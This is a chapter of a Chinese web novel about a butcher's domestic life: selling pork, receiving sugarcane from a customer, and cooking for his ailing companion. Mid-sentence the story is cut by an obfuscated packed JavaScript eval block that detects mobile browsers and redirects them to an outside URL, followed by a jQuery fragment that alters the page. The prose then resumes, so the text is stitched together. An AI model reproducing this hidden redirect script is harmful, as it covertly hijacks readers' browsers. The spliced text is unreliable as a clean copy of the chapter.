27. 第 27 章

作品:《古代屠户养家日常

    陆织姜自己平时只看些农书、县志之类的,但元如意喜欢他就买了。


    他走过去打开了竹箱,里面躺着三本蓝封皮的书,随手拿起最上面一本,封面上写着《函柳记》,陆织姜翻开第一页,在窗边的椅子上坐下看了起来。


    起初陆织姜还看得平静,不过就是些才子佳人相遇的俗套,可翻到中间,那些描写渐渐露骨起来,什么“肌肤相亲”、“云雨缠绵”,字字句句直白得很,叫他看得耳根发热,觉得手里的书页都烫手了,他继续往下看,看到男女主角夜半私会那段,形容得极其详细,忽然啪地合上书,深吸了口气,把书放回竹箱,盖上盖子。


    站起来时,他发现西屋的门没关严,留着一条缝,瞥见元如意侧躺着,薄被就盖到胸口,她睡得正熟,睫毛在脸颊上投下小小的阴影,嘴唇轻轻抿着。


    陆织姜看着看着,嘴角自然扬了起来,他在门口站了好一会儿,才轻轻把门关严实了,转身走了出来。


    院子里阳光正好,那几只鸡在墙角刨土找食吃,陆织姜走到院角的一处,欢福摇头晃脑地看着他,鼻子嗅着他的手心,陆织姜伸手摸了摸它的背,说:“好好看家。”


    之后,他便出了院门。


    陆织姜熟门熟路地走到自己摆摊的肉铺,把案板支起来,猪肉一块块摆好,这些都是早上现宰的,肥瘦相间,颜色鲜亮。


    刚摆好没多久,第一个客人就来了,是位四十来岁的妇人,提着菜篮子,是街对面布店的老板娘。


    妇人凑近了看:“陆家兄弟,今儿的肉看着不错啊,给我来一斤五花肉,要肥瘦匀称的。”


    陆织姜点头,挑了块好的,手起刀落,割下一长条,上秤一称:“一斤一两,算您一斤的价。”


    妇人笑了:“多少钱?”


    “十五文。”


    妇人从钱袋里数出铜钱递过来,陆织姜接了,用油纸把肉包好,放进她篮子里,妇人却没立刻走,又看了看案板上的排骨:“那今儿这排骨怎么卖?”


    “排骨十二文一斤。”


    “那再来半斤排骨吧,炖汤喝。”


    陆织姜又砍了半斤排骨,包好了给她,妇人这才心满意足地走了。


    一位年轻后生跑得气喘吁吁的,一来就说要两斤后腿肉,说是家里来客了,陆织姜麻利地割肉、称重、收钱,那后生提着肉又匆匆跑了,一溜烟人就不见踪影了。


    陆织姜刚把案板上的肉重新摆整齐,一个五十多岁的男子,穿着绸缎衣裳走过来,他看起来像个行商,身后跟着个小厮,手里提着个布袋子。


    “老板,这肉新鲜不?”男子问。


    “早上刚宰的,您看看这颜色。”


    男子凑近了仔细瞧,又伸手按了按,点头:“是新鲜,给我切三斤里脊肉,要最嫩的。”


    陆织姜挑了一块最好的里脊,下刀切下一大块,上秤一称:“三斤二两,算三斤。”


    “好,”男子很满意,付了钱,却没急着走,他让小厮把布袋子拿过来,从里面掏出两根紫红色的长棍子,有小孩手臂那么粗,一节一节的。


    男子直接让小厮把甘蔗递给了他,道:“这是南边带来的甘蔗,甜得很,我看你做生意挺实在的,这两根就送你尝尝。”


    陆织姜有些意外:“这怎么好意思。”


    “拿着吧,我这一趟带了不少,自己吃不完,你这肉好,等我下回还来买。”


    说完就让小厮提着肉,二人便一齐走了,陆织姜看着案板上那两根甘蔗,伸手摸了摸,表皮硬硬的,他确实没见过这东西,只听人说过南方有这种甜杆子。


    又卖了几单,肉差不多卖完了,陆织姜收拾了摊子,把甘蔗小心地装进褡裢,背着往家走,路上他在想,元如意应该会喜欢这个吧。


    到家时已经是傍晚了,院子里很安静,元如意正在一件杂物屋子喂云朵,听到脚步声,她起身出来,便见陆织姜回来了。


    陆织姜走过去,问:“晌午,睡得怎么样?”


    “挺好的,就是喉咙有点不舒服,可能下午睡着时着凉了。”


    陆织姜皱起眉:“咳嗽吗?”


    “有点。”元如意又咳了两声,“没事,多喝点水就好了。”


    陆织姜却转身出了卧房,不一会儿端了碗温水进来:“先喝着,我去弄点润嗓子的。”


    元如意接过碗小口喝着,看陆织姜又出去,从褡裢里拿出那两根紫红色的棍子。


    她问:“这是什么?”


    “一个客人送的甘蔗,说南方来的,甜得很,我想着煮点甘蔗水给你喝,应该能润嗓子。”


    “得先把皮削了。”陆织姜拿着甘蔗去了灶房,元如意也跟了过去。


    灶房里,陆织姜把甘蔗洗净,放在案板上,他试了试,用菜刀削皮不太顺手,就换了把小刀,一手扶着甘蔗,一手慢慢削,紫色的外皮一片片剥落,露出里面白中带黄的芯子,削好一段,他切下一小截,递给元如意:“尝尝。”


    元如意接过来,咬了一口,还真是脆生生的,汁水立刻溢了满口,很是甜。


    陆织姜:“甜么?”


    “嗯,比糖还甜,清甜的味儿。”


    陆织姜道:“那多切点,煮水喝。”


    他把两根甘蔗都削了皮,切成一段一段的,再每段劈成四瓣,取了个小锅,把甘蔗放进去,加水,加了几个红枣,又捏了一小撮冰糖,灶膛里生起火,慢慢煮着。


    “要煮多久?”元如意靠在灶台边问。


    “得煮到甘蔗味出来了,你先去歇着,这儿烟熏火燎的。”


    元如意:“今晚,要不咱们做点清淡的?我看到地窖里还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138080|194676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有萝卜,炖个萝卜汤,再炒个青菜,蒸点米饭吧。”


    陆织姜点头:“好,你先去坐着,我来弄。”


    陆织姜先去地窖拿了根白萝卜,两个土豆,又摘了一把小油菜,洗干净了,萝卜切滚刀块,土豆切片,油菜掰开。


    这边甘蔗水已经煮开了,咕嘟咕嘟冒着泡,甜香飘满了灶房,陆织姜把火调小,让它慢慢熬着,另一个灶眼生起火,锅里放油,先炒了油菜,加了点蒜末和盐,清炒出来绿油油的,盛在盘子里。


    锅里加水,放入萝卜块和几片姜,炖汤,等汤滚了,他调小火,盖上盖子,米饭早在小陶罐里蒸上了,这时候已经飘出了米香。


    “快好了吧?”元如意问。


    “嗯,再等一会儿。”陆织姜揭开甘蔗水的锅盖,之后,他找了个碗,滤掉了甘蔗渣和枣子,倒出清亮的淡黄色糖水,端给她。


    元如意:“看着还挺不赖的。”


    “嗯,小心烫。”


    元如意接过来,吹了吹,小口小口喝着,热乎乎的甜水流进喉咙,确实一下子会舒服了不少。


    “好喝,你也喝点吧。”


    陆织姜自己也舀了一小碗,坐在她旁边,喝着。


    陆织姜笑笑,没接话,过了一会儿说:“云朵好像又长大了点。”


    “是啊,咱们是不是该给它换个笼子了?屋内那个已经有点小了。”


    “赶明儿我做个大一些的,用竹条编一个,能宽敞点。”


    “你会编?”


    “跟村里的老李头学过一点,不难。”


    元如意转头看他,暮色里他的侧脸轮廓分明,鼻梁挺直,嘴角微微抿着,若是好好拾掇一番,怕是比那美男子还俊呢。


    陆织姜转头,元如意便问是不是饭快好了。


    他去到灶房,萝卜汤已经炖得奶白奶白的,再撒了点盐和葱花,盛进汤碗里,米饭也蒸好了,菜摆上桌,一荤一素一汤,简简单单,看着却很有食欲。


    他们就在院子里坐下来吃饭,元如意先喝了口汤,萝卜炖得软烂,汤味清甜,炒青菜脆生生的,带着蒜香的味道,米饭热腾腾的,就着菜吃特别香。


    吃完饭,陆织姜便收拾了碗筷去洗,元如意就坐在那儿,听着灶房传来的水声,手里捧着那碗还剩一半的甘蔗水,小口小口喝着。


    鸡在窝里咕咕叫了几声,村子的远处传来几声狗吠,陆织姜洗好碗出来,看见元如意靠在椅子上,眼睛半闭着,他走过去轻声说:“那就早些洗漱,去睡吧,这儿凉。”


    元如意点点头,陆织姜送她进卧房,必须看她给自己盖好了被子,才出去。


    他吹灭了西屋的油灯,去关院子的大门,发现月光洒了一地,银白银白的,像是铺了层霜。


    他又抬头看了看天,星星虽然不多,但很亮。